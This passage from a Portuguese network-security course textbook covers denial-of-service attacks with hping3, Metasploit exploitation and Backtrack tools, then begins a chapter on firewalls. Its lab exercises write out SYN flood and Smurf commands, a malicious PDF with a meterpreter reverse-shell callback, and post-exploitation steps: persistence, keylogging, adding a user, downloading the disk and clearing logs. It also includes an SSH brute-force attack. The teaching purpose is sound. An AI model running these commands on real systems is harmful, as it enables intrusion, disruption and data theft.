 1 Utilizar o Command Wizard para criar interativamente comandos de varredura.
 1 Salvar resultados de varreduras para visualização posterior.
 1 Comparar varreduras salvas e verificar suas diferenças.
 1 Criar topologias de rede com a ferramenta Topology Mapping Tool.
Além dessas opções, o Zenmap disponibiliza todas as varreduras em uma base de dados 
totalmente pesquisável.
Topology Mapping Tool
Essa ferramenta provê uma visão interativa e animada das conexões entre computadores. 
Combinada com a opção traceroute do Nmap pode descobrir o caminho dos hosts dentro 
de uma rede de computadores.
Figura 2.7 
Técnica da varre-
dura Zenmap.
34
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
Exercício de fixação 3 e 
IP Spoofing
Explique o que é um IP Spoofing?
Exercício de fixação 4 e 
DoS
Explique o que é um ataque de negação de serviço?
Alguns tipos de ataques
Fragmentação de pacotes (ping da morte)
Para realizar a fragmentação de pacotes ou ping da morte, o atacante enviará um pacote 
maior que o PDU da rede, sobrecarregando o host de destino quando ele tentar remontar a 
informação.
Para realizar o ataque, execute:
# hping3 -V -c 100 -d 65495 --icmptype 8 <ip_alvo>
Onde: 
-V = modo monitor. 
-c = quantidade de pacotes enviados.
-d = quantidade de bytes de dados, maior que 1480 para ativar a fragmentação.
--icmptype 8 = mensagem ICMP Echo Request.
Figura 2.8 
Zenmap Topology 
Mapping Tool.
35
 
C
ap
ítu
lo
 2
 - 
Ex
pl
or
an
do
 v
ul
ne
ra
bi
lid
ad
es
 e
m
 r
ed
es
Ou 
# ping –i -l 65500 <ip_alvor> -t
Onde: 
-i = indica que cada ping deve ser realizado em um intervalo de um milésimo de segundo. 
-l = define o tamanho do pacote.
-t = envia os pacotes por tempo indeterminado.
Fragmentação de pacotes (Teardrop)
Ataque de negação de serviço que também explora o princípio da fragmentação do pacote 
IP. O ataque Teardrop consiste em modificar o número de sequência que identifica a ordem 
correta de remontagem do pacote, de forma a inserir espaços vazios, podendo provocar 
instabilidade no sistema-alvo.
Para realizar o ataque, execute:
# hping3 –V –c 100 –d 65500 –S –p 80 –s 4657 –a <ip_spofado> <ip_alvo>
O comando acima ativa o modo monitor (-V), que permite monitorar as respostas. Serão 
enviados 100 pacotes (-c) com tamanho de 65500 (-d) bytes de dados (deve ser maior que 
1480 para ativar a fragmentação). A opção “-S” informa para enviar o pacote com a flag SYN 
configurada para a porta 80 (-p) e porta de origem 4657 (-s). A opção “–a” trocará o endereço 
de origem do pacote, permitindo a realização do spoof.
Simulando um ataque de Synflood
Esse ataque consiste em enviar uma enxurrada de pacotes com a flag SYN ativa, utilizando a 
ferramenta hping3. Para isso, será necessário desativar a proteção contra SYN Flooding do 
kernel do Linux. Essa opção vem habilitada por padrão na distribuição Debian. Para desabi-
litar a proteção, use o seguinte comando:
# echo 0 > /proc/sys/net/ipv4/tcp_syncookies
Nota: como o exemplo a seguir realiza o ataque a um servidor web, antes de executar o 
comando verifique a disponibilidade do servidor http que será atacado. Execute tcpdump 
ou Wireshark para verificar os pacotes de ataque que estão sendo enviados. Para executar o 
tcpdump, utilize o comando:
# tcpdump -i INTERFACE host IP_DO_ALVO -n
Por fim, você deve digitar o seguinte comando para iniciar o ataque:
# hping3 IP_DO_ALVO -p 80 -S --faster --rand-source 
O comando acima envia pacotes TCP com a flag SYN ativada (-S), para a porta do serviço 
web (-p 80), enviando um pacote a cada microssegundo (--faster) e alterando o endereço de 
origem aleatoriamente (--rand-source).
Enquanto o ataque está em andamento, tentar acessar o serviço web da máquina-alvo 
através de um navegador. Você não deve conseguir acessar o serviço, pois a máquina está 
sobrecarregada tratando as diversas requisições enviadas pelo hping.
Para finalizar a execução do hping e do tcpdump, basta digitar CTRL+C.
36
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
Simulando um ataque Smurf
Nesse ataque será utilizado o comando hping para enviar pacotes ICMP Echo Request para 
o endereço de broadcast da rede. Assim, todas as máquinas responderão para o endereço 
de origem especificado no pacote que deve estar alterado para o endereço-alvo (Spoofing). 
Para que o ataque seja efetivo, a proteção contra ICMP Echo Request para endereço de 
broadcast deve estar desabilitada em todas as máquinas do laboratório. Para desativar essa 
proteção nas máquinas Linux, use o seguinte comando:
# echo 0 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts
Após liberar a resposta para ICMP Echo Request para o endereço de broadcast da rede, 
inicie tcpdump ou Wireshark em um terminal separado, para verificar o andamento do 
ataque com o comando:
# tcpdump -i INTERFACE host IP_DO_ALVO -n
Digite o seguinte comando para iniciar o ataque:
# hping3 END_BROADCAST_REDE --icmp --faster -a IP_ALVO
O comando acima vai enviar pacotes ICMP Echo Request para o endereço de broadcast da 
rede do laboratório, no modo mais rápido possível (um pacote a cada 1 microssegundo), 
com endereço de origem alterado para IP_ALVO (Spoofing). Os alunos devem verificar no 
tcpdump os pacotes de ICMP Echo Reply que estão sendo enviados para o alvo do ataque.
O tamanho do pacote ICMP Echo Request enviado ainda pode ser aumentado para forta-
lecer o ataque. Assim, a banda do alvo será rapidamente consumida pelos pacotes de ICMP 
Echo Reply.
# hping3 END_BROADCAST_REDE --icmp --faster -a IP_ALVO -d 1000
Neste tópico foram abordados alguns ataques conhecidos em redes TCP/IP. Existe ainda 
uma série de outros ataques conhecidos, como: ARP poison, connection hijacking, sequence 
prediction attack, buffer overflow, fraggle e race condition, entre outros. Os documentos a 
seguir fornecem mais informações caso tenha interesse em se aprofundar no assunto:
 1 Técnicas adotadas pelos crackers para entrar em redes corporativas, de Cristiano 
Gerlach, Rede Nacional de Ensino e Pesquisa (RNP).
 1 Introduction to TCP/IP Network Attacks (Introdução aos ataques a redes TCP) de Guang 
Yang, Department of Computer Science, Iowa State University.
 1 Attack Lab: Attacks on TCP/IP Protocols (Laboratório de ataques: ataques a protocolos 
TCP/IP) de Wenliang Du, Syracuse University.
Exploit
Exploit significa literalmente “explorar”, sendo uma palavra usada para se referir a pequenos 
códigos de programas para explorar falhas de segurança causadas por erros de programação.
Um exploit é uma ferramenta de segurança com o objetivo de explorar uma vulnerabilidade 
de um sistema. Há alguns anos atrás, para que um usuário pudesse testar um sistema ou 
rede, ele necessitaria escrever um código específico para isso. Hoje, exploits são diaria-mente criados e divulgados pela comunidade hacker. Embora agressores ainda criem novos 
ataques e os usem em segredo, a nova tendência é de crescimento no compartilhamento 
de informações sobre vulnerabilidades e seus respectivos exploits, o que pode ser, depen-
dendo do ponto de vista, bom e ruim.
O site www.powertech.
no/smurf lista algumas 
redes que aceitam 
ICMP Echo Request 
para o endereço de 
broadcast e podem ser 
utilizadas como 
amplificadores para 
ataques Smurf. No site 
também é possível 
verificar se a sua rede 
está vulnerável a esse 
tipo de ataque.
w
37
 
C
ap
ítu
lo
 2
 - 
Ex
pl
or
an
do
 v
ul
ne
ra
bi
lid
ad
es
 e
m
 r
ed
es
Metasploit
O Metasploit é um framework específico para testes de penetração. É uma ferramenta 
bastante utilizada, visto que possui diversos plugins para exploração de vulnerabilidades de 
forma simples, que são atualizados constantemente.
Criado em 2003 pelo desenvolvedor HD Moore, o metasploit foi concebido em forma de um 
framework para comunidade de segurança com o objetivo de desenvolvimento de exploit.
Basicamente, um framework é uma estrutura de apoio que funciona como uma abstração 
entre vários projetos de software para funções genéricas. Tipicamente inclui programas de 
apoio, bibliotecas e uma linguagem de script, entre outros softwares para ajudar a desenvolver 
e unir diferentes componentes de um projeto.
qO Metasploit pode ser utilizado de três formas distintas:
 1 No modo console, através do comando msfconsole.
 1 No modo web, através do comando msfweb. Nesse modo é criado um servidor web na 
porta 55555, que pode ser acessado com um browser comum, através do endereço 
http://127.0.0.1:55555.
 1 No modo gráfico, através do comando msfgui.
Exercício de fixação 5 e 
Alguns tipos de ataque
Explique o que vem a ser um exploit.
O que é e o que faz um metasploit?
Neste curso, usaremos a versão web. Na aba Exploits, podemos buscar as vulnerabilidades 
que desejamos avaliar. Na imagem abaixo, selecionamos uma vulnerabilidade no componente 
Samba, presente no sistema operacional MAC OS X. Note que a versão web descreve a vulne-
rabilidade e oferece uma série de referências para o analista procurar mais informações sobre 
uma vulnerabilidade específica. O passo seguinte é escolher um Target, que corresponde a um 
tipo de exploração que será realizado. No caso abaixo, o único tipo disponível é o Stack brute 
force, que tentará um ataque de força bruta na pilha do processo vulnerável.
38
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
Em seguida, iremos escolher o tipo de payload usado, que determinará o que o Metasploit 
tentará conseguir na máquina remota. Entre as possibilidades, podemos obter um acesso 
ao console na máquina através de uma porta específica ou conectar de volta na máquina do 
atacante, ofertando um acesso remoto.
Por fim, escolhemos os parâmetros específicos para esse tipo de vulnerabilidade. No caso, o 
endereço IP do destino, a porta de destino e a porta local. Temos ainda alguns parâmetros 
avançados, onde podemos escolher o endereço local do cliente, configurações de Proxy, 
parâmetros específicos do Samba, entre outros.
39
 
C
ap
ítu
lo
 2
 - 
Ex
pl
or
an
do
 v
ul
ne
ra
bi
lid
ad
es
 e
m
 r
ed
es
Ao clicar no botão Launch exploit, estaremos fazendo o Metasploit tentar explorar a vulnera-
bilidade em questão, e em caso de sucesso, obter acesso remoto privilegiado.
Veja que o Metasploit efetivamente realiza um ataque ao servidor remoto, de modo que não 
deve ser usado em servidores que não estejam sob a administração ou controle do usuário 
da ferramenta.
Usando Metasploit em modo console
O mfsconsole é o Metasploit em modo console e uma forma mais flexível de se utilizar o 
framework. Para iniciar o Metasploit, digite no shell:
# msfconsole
Serão apresentados os cursos abaixo:
msf >
Inicialmente, dentro do console do Metasploit, podemos verificar quais exploits temos à 
disposição com o comando:
msf >show exploits
Neste ponto, devemos informar o tipo de exploit que usaremos com o comando use:
msf > use windows/smb/ms08_067_netapi
msf wins_ms08_067_netapi >
Dentro do exploit, podemos ver seus atributos exigidos com o comando show options:
msf wins_ms08_067_netapi > show options
40
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
Name Current Setting Required Description
-------- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER)
Explot Target:
Neste caso, o exploit aceita as opções de Remote Host, Remote port e SMBPIPE. Para confi-
gurar essas opções, utilize o comando set:
msf wins_ms08_067_netapi > set RHOST 200.126.35.34
RHOST -> 200.130.26.34
msf wins_ms08_067_netapi > set RPORT 445
RPORT -> 445
O próximo passo é configurar o payload, que nada mais é do que uma parte do software que 
permite o controle do sistema-alvo após ser explorado. Nesse caso o exploit transporta o 
payload para ser utilizado quando a falha do sistema é explorada.
Um dos payloads mais utilizados é o meterpreter. Com ele podemos ativar coisas interes-
santes no computador remoto, como, por exemplo, fazer upload e download de arquivos, 
tirar screenshots e recolher hashes de senhas. Pode-se até mesmo controlar a tela, usando 
mouse e teclado para usar completamente o computador.
Com o comando show payloads verificamos os payloads suportados pelo exploit selecionado:
msf wins_ms08_067_netapi > show payloads
O payload selecionado para este exemplo é “vnc inject reverse tcp”:
msf wins_ms08_067_netapi > set PAYLOAD windows/vncinject/reverse_
tcp
payload -> windows/vncinject/reverse_tcp
msf wins_ms08_067_netapi >
Com o comando show targets podemos visualizar quais sistemas operacionais são vulnerá-
veis a esse exploit:
msf wins_ms08_067_netapi > show targets
Supported Exploit Targets
=========================
Windows XP SP3 Portuguese - Brasilian (NX)
msf wins_ms04_045 >
Neste caso podemos verificar que os sistemas operacionais Windows XP SP2 e SP3 de 
diversos idiomas são vulneráveis a esse exploit:
41
 
C
ap
ítu
lo
 2
 - 
Ex
pl
or
an
do
 v
ul
ne
ra
bi
lid
ad
es
 e
m
 r
ed
es
msf wins_ms08_067_netapi > set TARGET 56
TARGET -> 56
msf wins_ms08_067_netapi >
Pronto para finalizar:
msf wins_ms08_067_netapi > exploit
Neste momento o exploit entrará em execução no IP alvo informado anteriormente. Se a vulne-
rabilidade estiver aberta, será apresentada uma resposta informando que a operação obteve 
sucesso. Esse ataque pode ser automatizado dentro do metasploit com o comando msfcli.
No caso do ataque informado acima, poderíamos automatizá-lo com a seguinte linha de comando:
[root]#./msfcli wins_ms08_067_netapi RHOST=200.130.26.34 RPORT=445 
PAYLOAD=windows/vncinject/reverse_tcp TARGET=56 E
Backtrack
O Backtrack é um sistema operacional Linux voltado para a área de segurança, principal-
mente para testes de penetração. É uma distribuição muito difundida pelos profissionais de 
segurança, não necessita de instalação física na máquina e pode rodar diretamente do CD. 
Contando com mais de 300 ferramentas diferentes, entre elas o próprio Metasploit, é con-
siderada a ferramenta mais completa do mercado para testes de segurança e penetração 
baseada em software livre.
As ferramentas hackers do Backtrack podem ser acessadas pelo menu Applications > 
Backtrack. São divididas em 10 categorias diferentes, como veremos a seguir.
Information GatheringFerramentas para obter informações sobre redes, aplicações web, análise de banco de 
dados e análise de redes wireless. Exemplos:
 1 Dnsdict6 – utilitário usado para enumerar um domínio para entradas DNS IPv6.
 1 Dnsmap – utilitário usado para criar listas de hosts de registros DNS para um domínio.
Vulnerability Assessment
Ferramentas para avaliação de vulnerabilidades em redes, aplicações web e bancos de 
dados, tais como scanners. Exemplos:
 1 OpenVAS – estrutura de vários serviços e ferramentas que oferecem uma abrangente e 
poderosa solução de varredura de vulnerabilidades.
 1 Mantra – coleção de ferramentas de código livre integrado a um navegador web.
Exploitation Tools
Ferramentas para exploração de vulnerabilidades em redes, sistemas web, banco de dados, 
sistemas wireless e ferramentas de engenharia social. Exemplos:
 1 Metasploit Framework – framework utilizado para explorar vulnerabilidades em sistemas 
computacionais.
 1 Air Crack – ferramenta utilizada para descobrir chaves WEP e WPA em sistemas Wireless.
42
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
Privilege Escalation
Ferramentas para elevação de privilégios, como: ferramentas de ataque para quebra de 
senhas, ferramentas para análise de protocolos (em especial protocolos de rede e VoIP) 
e ferramentas de Spoofing Attacks. Exemplos:
 1 hexinject – capaz de capturar pacotes em uma rede para obtenção de informações 
e injeção de pacotes modificados.
 1 Medusa e Hydra – ferramentas para ataques de força bruta em logins.
 1 Hashcat e John the riper – programa para recuperação de senhas.
Maintaining Acces
Uma vez dentro de uma rede, um atacante necessita manter seu acesso sempre disponível 
para garantir o seu retorno de forma segura (sem ser detectado). Esse conjunto de pro-
gramas possibilita, por exemplo, a criação de backdoors, ferramentas de tunelamento de 
conexões e ferramentas de backdoor via web. Exemplos:
 1 cymothoa – ferramenta capaz de injetar shellcode backdoor em um processo existente.
 1 Stunnel4 – túnel criptográfico SSL para interligação cliente/servidor.
 1 Weevely – script em python para gerar uma backdoor PHP criptografada.
Reverse Engineering
Ferramentas de engenharia reversa com destaque para o programa strace, que monitora 
chamadas de sistema (system calls) e os sinais recebidos pela aplicação. Exemplos:
 1 ollydbg – depurador de análise assembler com ênfase em código binário.
 1 Strace – utilitário de depuração para Linux que pode imprimir uma lista de chamadas de 
sistemas feitas pelo programa.
RFID Tools
Ferramentas RFID para obtenção de informações em equipamentos identificadores de Radio 
Frequência (Radio-Frequency Identification). Exemplos:
 1 Brute Force hitag2 – programa de força bruta capaz de capturar dados em etiquetas RFID 
padrão HITAG.
 1 Brute Force MIFARE – programa de força bruta capaz de capturar dados em dispositivos 
de acesso por proximidade e cartões inteligentes.
Stress Testing
Programas especialistas em testes de estresse em redes de computadores e sistemas VOIP. 
Essas ferramentas são capazes de criar verdadeiras inundações de pacotes em uma rede. 
Exemplos:
 1 Hping – programa para a criação de pacotes TCP/IP, pode ser utilizado com ICMP, TCP e 
UDP e é amplamente utilizado para ataques do tipo negação de serviço.
 1 Letdown – outra ferramenta muito eficiente para ataques DoS.rtpflood – programa para 
inundar telefones ips com pacotes UDP contendo dados RTP.
 1 IAXflood – ferramenta para criar inundação de pacotes utilizada em redes com protocolo 
IAX, que é usado pelo PABX asterisk.
43
 
C
ap
ítu
lo
 2
 - 
Ex
pl
or
an
do
 v
ul
ne
ra
bi
lid
ad
es
 e
m
 r
ed
es
Forensics
Ferramentas de perícia forense, tais como programas para detectar rootkits, obter informações 
sobre dados armazenados desde uma rede até a memória RAM do computador. Exemplos:
 1 Sleuthkit – capaz de analisar e recuperar informações em diversos tipos de partições.
 1 Chkrootkit – utilitário capaz de varrer um computador atrás de programas rootkits insta-
lados.
 1 DFF (Digital Foresics Framework) – pacote de ferramentas open source modular que inclui 
utilitários para recuperação de dados, pesquisa de provas e análises.
Reporting Tools
Ferramentas geradoras de relatórios sobre evidências e captura de dados feita por pro-
gramas de perícia forense. Exemplos:
 1 Recordmydesktop – programa para capturar e filmar o desktop do usuário.
 1 Dradis – utilitário de ajuda no processo de testes de penetração. Utiliza uma metodologia 
de compartilhamento de informações minimizando oportunidades de perda de infor-
mação e sobreposição de esforços.
 
44
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
45
 
C
ap
ítu
lo
 2
 - 
Ro
te
ir
o 
de
 A
ti
vi
da
de
s
Roteiro de Atividades 2
Atividade 1 – Realizando ataques de protocolos
Nesta primeira atividade prática, o objetivo é identificar e compreender ataques DOS e fazer 
a análise com um sniffer (Wireshark e/ou tcpdump) para interpretar o modo como os pacotes 
são elaborados para o respectivo ataque DOS.
1º Ataque: Synflood
Como já tratado na parte teórica deste curso, esse ataque consiste em enviar uma enxurrada 
de pacotes com a flag SYN ativa, utilizando a ferramenta hping3. Para isso, é necessário que 
você desative a proteção contra SYN Flooding do kernel de todas as máquinas virtuais Linux. 
Para desabilitar a proteção, use o seguinte comando (executar como root):
echo 0 > /proc/sys/net/ipv4/tcp_syncookies
Agora inicie a captura de pacotes na máquina FWGW1-G, que será nossa máquina-alvo. 
No exemplo abaixo estamos utilizando o tcpdump para essa atividade. Nossa máquina ata-
cante será a máquina virtual LinServer-G.
Instale o tcpdump na máquina alvo:
# apt-get install tcpdump
Após a instalação execute:
# tcpdump -i eth1 -n
Instale na máquina atacante o programa hping3
# apt-get install hping3
Por fim, execute a partir da estação Linux atacante o seguinte comando para iniciar o ataque 
(executar como root):
hping3 172.16.G.1 -p 22 -S --flood --rand-source
O comando acima envia pacotes TCP com a flag SYN ativada (-S), para a porta do 
serviço SSH (-p 22), na maior velocidade possível e alterando o endereço de origem 
aleatoriamente (--rand-source). 
Para finalizar a execução do hping3 e do tcpdump, basta digitar CTRL+C.
Observe que na captura do tcpdump estão chegando pedidos de conexão de diferentes 
origens (todas inválidas).
2º Ataque: Smurf
Como já tratado na parte teórica deste curso, esse ataque consiste no envio de pacotes 
ICMP Echo Request para o endereço de broadcast de uma rede desprotegida. Assim, todas 
as máquinas responderão para o endereço de origem especificado no pacote que deve 
estar alterado para o endereço alvo (Spoofing). Para que o ataque seja efetivo, a proteção 
46
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
contra ICMP Echo Request para endereço de broadcast deve estar desabilitada em todas as 
máquinas Linux. Para desabilitar a proteção, use o seguinte comando (executar como root):
echo 0 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts
Agora inicie a captura de pacotes no FWGW1-G. Nossa máquina-alvo será o servidor 
WinServer-G e o atacante continuará sendo o LinServer-G
# tcpdump -i eth1 -n
Por fim, execute a partir da estação Linux atacante o seguinte comando para iniciar o 
ataque: (EXECUTAR COMO ROOT). Troque o <END_BROADCAST_REDE> pelo endereço de 
broadcast da rede, no nosso caso 172.16.G.255
Hping3 172.16.G.255 --icmp --flood -a 172.16.G.20
O comando acima vai enviar pacotes ICMP Echo Request para o endereço de broadcastda 
rede do laboratório, no modo mais rápido possível, com endereço de origem alterado para 
IP_ALVO (Spoofing). Os alunos devem verificar no tcpdump os pacotes de ICMP Echo Reply 
enviados para o alvo do ataque. O tamanho do pacote ICMP Echo Request enviado ainda 
pode ser aumentado para dar maior força ao ataque. Assim, a banda do alvo será rapida-
mente consumida pelos pacotes de ICMP Echo Reply.
hping <END_BROADCAST_REDE> --icmp --faster -a <IP_ALVO> -d 1000
Atividade 2 – Levantando os serviços da máquina alvo com Nmap
O objetivo desta atividade é entender o funcionamento do Nmap. Para executar esta ativi-
dade instale na máquina Windows 2008 o Wireshark e desative o firewall do Windows.
A partir de uma máquina Linux, realize o port scan padrão na máquina Windows 2008. 
# nmap -v 172.16.G.20
Agora vamos explorar outros modos de funcionamento do Nmap. Teste os modos stealth e 
acompanhe o andamento da varredura de portas através do Wireshark. Procure entender o 
que está acontecendo e a diferença entre os dois comandos executados, para comprovar os 
conceitos do material teórico.
# nmap -sF 172.16.G.20
# nmap -sN 172.16.G.20
# nmap -sX 172.16.G.20
Outra funcionalidade do Nmap é o OS Fingerprinting. Realize essa verificação na máquina 
virtual Windows 2008 e em uma máquina virtual Linux. Combine essa opção com outras ofe-
recidas pela ferramenta. Use o Wireshark para verificar a troca de pacotes neste processo.
# nmap -O 172.16.G.20
# nmap -A 172.16.G.20
Agora vamos realizar um ataque utilizando o Nmap em modo decoy contra a máquina virtual 
Windows 2008. Capture os pacotes usando o Wireshark e analise-os. Procure identificar a 
origem do ataque.
# nmap –v –sV –O –D 101.102.103.104 172.16.G.20
47
 
C
ap
ítu
lo
 2
 - 
Ro
te
ir
o 
de
 A
ti
vi
da
de
s
Atividade 3 – Realizando um ataque com Metasploit
Nessa atividade iremos executar uma série de comandos utilizando o metasploit disponível 
na máquina virtual BackTrack. Inicie essa máquina virtual e, paralelamente, acesse a inter-
face gráfica do servidor Windows 2008. Nesse servidor, desative o firewall e instale o Adobe 
Reader versão 9.3.4. Embora essa seja uma versão antiga do Adobe Reader, o objetivo 
desta atividade é demonstrar duas coisas: primeiro, o poder da ferramenta Metasploit, e, 
segundo, que não devemos instalar em servidores programas desnecessários, como visuali-
zadores de PDF.
Esse ataque consiste em dois passos:
1º passo: gerar um arquivo PDF para explorar a falha de segurança do Adobe Reader. 
Acesse o shell do BackTrack e digite:
#msfconsole
msf > use exploit/windows/fileformat/adobe_cooltype_sing
msf exploid(adobe_cooltype_sing)> set PAYLOAD windows/meterpreter/
reverse_tcp
Podemos alterar o nome do arquivo a ser gerado para um nome mais amigável.
msf exploid(adobe_cooltype_sing)> set FILENAME naoclick.pdf
msf exploid(adobe_cooltype_sing)> set LHOST 172.16.G.30
msf exploid(adobe_cooltype_sing)> set LPORT 4444
msf exploid(adobe_cooltype_sing)> show options
msf exploid(adobe_cooltype_sing)> exploit
msf exploid(adobe_cooltype_sing)> quit
Será gerado um arquivo em /root/.msf4/local/naoclick.pdf. Abra outra janela do shell e copie o 
arquivo gerado para /var/www:
# mv /root/.msf4/local/naoclick.pdf /var/www
* renomeie o arquivo /var/www/index.html para index.txt
* Inicie o servidor apache
# /etc/init.d/apache2 start
2º passo: escutar na porta informada no passo anterior para estabelecer uma conexão com 
a máquina-alvo. Para isso, abra outra janela de shell e digite:
# msfconsole
msf > search cool
msf > use exploit/multi/handler
msf exploid(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploid(handler) > show options
48
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
msf exploid(handler) > set LHOST 172.16.G.30
msf exploid(handler) > set LPORT 4444
msf exploid(handler) > exploit
[*] Started reverse handler on 172.16.G.30
[*] Starting the payload handler...
Neste momento, o Backtrack está esperando uma conexão na porta informada, neste caso 
a porta 4444. A máquina-alvo deverá abrir o navegador e informar no campo endereço o IP 
do Backtrack. Serão listados os arquivos da pasta /var/www. Clique com o botão direito no 
arquivo naoclick.pdf e salve na área de trabalho. Após esse procedimento, clique duas vezes 
no arquivo (poderá aparecer uma tela de aceite dos termos da Adobe, clique em accept). 
Enquanto o arquivo é carregado, verificamos na máquina atacante que uma sessão foi esta-
belecida. A partir desse momento já estamos com acesso à máquina-alvo.
Para manter a conexão aberta, mesmo que o alvo seja reiniciado, digite:
meterpreter > run persistence -X
Será instalado um script dentro da máquina-alvo e bastará apenas que o usuário faça login 
novamente para estabelecer a conexão, não precisando mais que o alvo abra o arquivo PDF.
Comando meterpreter 
Procure entender o que cada linha de comando abaixo realiza, e tenha paciência. Lembre-se 
de que você está explorando vulnerabilidades, e de que é comum que alguns alunos não 
consigam completar essa atividade.
Promovendo 
privilégios
meterpreter > getuid
meterpreter > use priv
meterpreter > getsystem
meterpreter > getuid
Levantando 
informações
meterpreter > sysinfo
meterpreter > run get_env
meterpreter > run get_application_list
Desativando 
firewall
meterpreter > shell
C:\Windows\System32> netsh firewall set opmode disable
C:\Windows\System32> exit
Capturando tela meterpreter > getpid
meterpreter > ps
meterpreter > use -l
meterpreter > use espia
meterpreter > screenshot
meterpreter > screengrab
49
 
C
ap
ítu
lo
 2
 - 
Ro
te
ir
o 
de
 A
ti
vi
da
de
s
Ativando 
keylogger
meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop
Enumerando 
informações
meterpreter > run winenum
meterpreter > run scraper (copiar entradas do registro)
meterpreter > run prefetchtool
Injetando informações 
nos arquivos de hosts 
do Windows
meterpreter > edit c:\\Windows\\System32\\drivers\\etc\\hosts
Realizando varredura 
na rede do alvo
meterpreter > run arp_scanner -i
meterpreter > run arp_scanner -r <REDE_ALVO>
Criando usuário meterpreter > shell
C:\Windows\System32> net user marcos changeme /add
C:\Windows\System32> net user
C:\Windows\System32> exit
Baixando o HD 
da máquina alvo
meterpreter > download -r c:\\
Enviando arquivo 
para o alvo
meterpreter > upload /root/tcpdump.exe c:\\windows\\System32
meterpreter > shell
meterpreter > tcpdump -w saida.pcap
meterpreter > ps
meterpreter > kill NUMERO_PROCESSO
meterpreter > download c:\\saida.pcap
Apagando rastro meterpreter > clearev
Atividade 4 – Realizando um ataque de dicionário com o Medusa
Vamos implementar um ataque de força bruta ao serviço SSH utilizando o Medusa. Para 
tal, escolha uma máquina virtual Linux para ser o alvo. Na máquina-alvo (FWGW1-G), crie 
um usuário chamado marcelo com a senha 123456 e outro chamado marco com a senha 
abacate. Também na máquina alvo monitore o arquivo de logo com o comando:
# tail -f /var/log/auth.log
Na máquina virtual Backtrack execute o comando abaixo para identificar os módulos insta-
lados no Medusa:
# medusa –d
Agora vamos levantar o Banner (informação sobre a versão do SSH) implementado na 
máquina-alvo. A partir do Backtrack, execute:
# nc 172.16.G.1 22
A resposta deve ser algo como: 
SSH-2.0-OpenSSH_5.1p1 Debian-5
50
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
Crie um arquivo de texto chamado usuários.txt contendo, em cada linha, o nome dos usu-
ários que você acreditaque existam no alvo. Para esta atividade insira, em cada linha, os 
nomes: root, marcelo e marco.
Crie um arquivo texto chamado senhas.txt. Neste arquivo serão inseridas, em cada linha, 
as senhas que serão utilizadas no nosso ataque de dicionário. Para esta atividade não se 
esqueça de inserir os textos 123456 e abacate.
Agora vamos realizar o ataque de força bruta SSH contra o alvo. Execute o seguinte comando:
# medusa –M ssh –m BANNER:SSH-2.0-OpenSSH_5.1p1 -h 172.16.G.1 –U 
usuarios.txt –P senhas.txt | grep SUCCESS
Acesse o console da máquina-alvo e observe as tentativas de acesso utilizando o Medusa.
Não se esqueça de trocar o BANNER pela versão instalada na máquina-alvo.
51
 
C
ap
ítu
lo
 3
 - 
Ex
pl
or
an
do
 v
ul
ne
ra
bi
lid
ad
es
 e
m
 r
ed
es
ob
je
tiv
os
conceitos
3
Firewall – Conceitos e Implementação
Apresentar técnicas e tecnologias para proteção de perímetro em redes, compreender 
as técnicas de proteção de perímetro, posicionar firewalls em uma rede e criar uma zona 
desmilitarizada (DMZ) para prover serviços públicos. 
Topologias e tecnologias de firewall, proteção de perímetro em redes e zona 
desmilitarizada (DMZ), entre outros.
 
 
Introdução
Um firewall pode ser definido como uma combinação de componentes (hardware, software 
e redes) com o objetivo de proteger informações entre uma rede privada e a internet ou 
outras redes. É importante frisar que um firewall não corresponde a uma “caixa preta”, que 
ligada a uma rede provê segurança instantânea. Para ter um firewall eficiente, é preciso que 
ele seja configurado corretamente, possua bons recursos implementados e esteja correta-
mente posicionado na rede em questão. Durante este capítulo e o próximo, esses conceitos 
serão aprofundados. 
qEm linhas gerais, um firewall possui os seguintes objetivos:
 1 Restringir a entrada de tráfego em um ponto único e controlado.
 1 Impedir que atacantes consigam chegar em suas defesas mais internas.
 1 Restringir a saída de tráfego em um ponto único e controlado.
No item seguinte, veremos algumas vulnerabilidades comuns encontradas em redes. Essas 
vulnerabilidades podem ou não ser mitigadas por um firewall, dependendo dos seus recursos.
Exercício de nivelamento 1 e 
Firewall
O que você entende por firewall?
Como um firewall pode ser eficiente?
52
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
Firewall
Um firewall consiste em uma técnica de segurança de redes bastante efetiva. O seu nome 
vem das portas corta-fogo (firewalls) utilizadas em edifícios para conter o fogo de um pos-
sível incêndio, de modo que ele não se espalhe para o resto do prédio. Pode ser definido 
como um componente ou conjunto de componentes que restringem acesso entre uma rede 
protegida e a internet, ou entre outros conjuntos de redes.
Na prática, podemos pensar num firewall como uma forma de limitar a exposição da sua 
rede à internet, mantendo suas funcionalidades para os usuários. 
qO firewall serve a múltiplos propósitos:
 1 Restringir a entrada de tráfego em um ponto único e controlado.
 1 Impedir que os atacantes consigam chegar em suas defesas mais internas.
 1 Restringir a saída de tráfego em um ponto único e controlado.
Quando falamos de estratégias de segurança, a respeito de ponto único e defesa em profun-
didade, não podemos considerar um firewall simplesmente como uma “caixa preta” ou um 
“produto de prateleira”, apesar do que pregam os vendedores de produtos de segurança. 
Um firewall deve ser visto como uma combinação de componentes (hardware, software 
e redes) com o objetivo de proteger informações entre uma rede privada e a internet ou 
outras redes. Sendo assim, não adianta comprar um produto em uma loja e ligá-lo na rede. 
Um firewall, para ser efetivo, necessita de planejamento e que seja definida uma topologia, 
onde ele esteja no meio das conexões que se deseja proteger. Além da topologia, um firewall 
consiste em uma série de tecnologias, como filtros de pacotes, NAT e servidores proxy. 
